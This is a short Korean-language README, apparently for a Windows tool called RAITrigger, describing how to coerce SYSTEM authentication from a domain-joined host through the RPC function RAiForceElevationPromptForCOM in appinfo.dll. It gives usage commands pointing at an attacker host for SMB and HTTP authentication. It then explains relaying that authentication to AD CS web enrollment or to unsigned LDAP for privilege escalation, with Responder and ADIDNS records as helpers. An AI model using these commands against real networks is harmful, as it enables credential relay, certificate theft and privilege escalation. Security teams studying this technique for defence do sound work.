rteccybersec/raitrigger릴레이를 위한 로컬 SYSTEM 인증 트리거
appinfo.dll 라이브러리의 RPC 함수 RAiForceElevationPromptForCOM은 SYSTEM 강제를 허용합니다. 이는 도메인에 가입된 시스템에서만 작동합니다. 이 함수는 낮은 권한의 사용자라도 호출할 수 있으며 (프로세스를 생성하는 것이 아니라) 임의의 위치로 SYSTEM 인증을 트리거할 수 있습니다. 그 이유는 CreateFileW가 SYSTEM으로 첫 번째 입력 매개변수의 위치에 대해 호출되기 때문입니다:
낮은 권한의 사용자가 여전히 가장(impersonated)되어 있기 때문에, 이를 SEImpersonate에서 SYSTEM으로 권한을 상승시키는 Potato 트리거로 사용할 수 없습니다:
하지만, 수신 SMB 인증과 함께 웹 등록이 활성화된 ADCS에 대해 컴퓨터 계정 인증서를 요청하는 데 사용할 수 있습니다. 또는 LDAP 서명이 활성화되지 않은 경우 LDAP에 중계하여 LPE에 사용할 수 있습니다.
SMB 인증을 트리거하려면:
[*] RAITrigger.exe \\attackerip\test\test.exe
HTTP 인증을 트리거하려면 (WebClient 서비스가 활성화되어야 함):
[*] RAITrigger.exe \\hostname@80\test\test.exe
HTTP 인증은 신뢰할 수 있는 인트라넷 영역 시스템에만 트리거되므로, Kali IP에 대한 ADIDNS 레코드를 생성하거나 동일한 서브넷에 있어야 하며 예를 들어 Responder를 사용해야 합니다. 전체 FQDN을 사용하지 말고 호스트 이름만 사용하세요.
원격으로 이 함수를 호출하면 (로컬 관리자라도) rpc_access_denied가 발생하므로, 예를 들어 PetitPotam 등의 대안이 아닙니다:
